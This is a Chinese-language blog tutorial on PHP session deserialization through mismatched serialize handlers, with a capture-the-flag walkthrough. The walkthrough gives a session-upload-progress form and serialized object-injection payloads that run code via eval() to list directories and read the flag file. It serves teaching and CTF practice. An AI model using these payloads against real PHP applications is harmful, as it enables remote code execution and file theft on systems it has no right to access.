Session 反序列化
本文转自本人博客
漏洞介绍
PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
如果脚本中设置的序列化处理器与php.ini设置的不同,或者两个脚本注册session使用的序列化处理器不同,那么就会出现安全问题。
原因是未正确处理\’|\’,如果以php_serilize方式存入,比如我们构造出”|” 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据(\’|\’之前当作键名,\’|\’之后当作键值)。
$_SESSION['ryat'] = '|O:8:"stdClass":0:{}';
例如上面的 $_SESSION 数据,在存储时使用的序列化处理器为 php_serialize,存储的格式如下:
a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:
// var_dump($_SESSION);
array(1) {
["a:1:{s:4:"ryat";s:20:""]=>
object(stdClass)#1 (0) {
}
}
可以看到,通过注入 |
字符伪造了对象的序列化数据,成功实例化了 stdClass 对象
实际利用
i)当 session.auto_start=On 时:
当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的,因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,如下面的代码:
//foo.php
if (ini_get('session.auto_start')) {
session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = $_GET['ryat'];
当第一次访问该脚本,并提交数据如下:
foo.php?ryat=|O:8:"stdClass":0:{}
脚本会按照 php_serialize 处理器的序列化格式存储数据:
a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象:)
这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。
ii)当 session.auto_start=Off 时:
当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:
//foo1.php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = $_GET['ryat'];
//foo2.php
ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini
session_start();
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}
当访问 foo1.php 时,提交数据如下:
foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 wakeup 方法和 destruct 方法
一道题目
题目链接:http://web.jarvisoj.com:32784/
源码:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
这里看到了__construct()
,__destruct()
,考的应该是反序列化,然后我们可以看到在__destruct()
直接用eval()
了,这里应该就是突破点了,但是,很难受的是$mdzz
咋们控制不了...
魔法函数在
php反序列化
学过了
然后我们发现只要GET传入phpinfo
,就可以知道php的信息,这个应该是想要告诉我们什么,又有
ini_set('session.serialize_handler', 'php');
session_start();
应该是和session反序列化相关,如果生成session和读取session的解析器不同,则产生任意对象注入,从而实现$mdzz
可控,考点应该就是这样子的,但是...我们不能控制session啊...
这里就考到了另一个知识点了
当一个上传在处理中,同时 post 一个与
ini
设置的session.uploadprogress.name
同名变量时,php
检测到这种 post 请求时就会在 $SESSION 中添加一组数据,所以可通过session.upload_progress
来设置 session,然后在session.uploadprogress.enabled
开启的情况下会显示上传报告
看一下php.ini
的几个参数吧
session.uploadprogress.enabled[=1] : 是否启用上传进度报告(默认开启session.uploadprogress.cleanup[=1] : 是否在上传完成后及时删除进度数据(默认开启
session.upload_progress.prefix = "upload_progress_"
//当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
//将表示为session中的键名
查看phpinfo()
,可发现该题目session.uploadprogress.enabled[=1]
,session.uploadprogress.cleanup[=0]
,不会被清除,易操作
我们可以写一个表单,上传文件(POST),然后修改文件名来实现修改session
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="emmmm" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
然后根据PHP反序列化的知识来构建payload
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'print_r(__FILE__);';
}
function __destruct()
{
//eval($this->mdzz);
}
}
# 反序列化
$a = new OowoO;
$b = serialize($a);
// O:5:"OowoO":1:{s:4:"mdzz";s:18:"print_r(__FILE__);";}
# 加上转义符防止"被转义,根据session的php处理器规则对payload进行处理
// |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:18:\"print_r(__FILE__);\";}
?>
|O:5:"OowoO":1:{s:4:"mdzz";s:18:"print_r(__FILE__);";}
可知文件在
/opt/lampp/htdocs/
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:39:\"print_r(scandir('/opt/lampp/htdocs/'));\";}
发现
Here_1s_7he_fl4g_buT_You_Cannot_see.php
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:84:\"echo file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php');\";}
如果
session.uploadprogress.cleanup
是打开的呢?我们怎么操作可以使用条件竞争,占用资源防止其被清理
上传一个large and crash文件,来使得我们传入的data得以执行。
参考文章
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md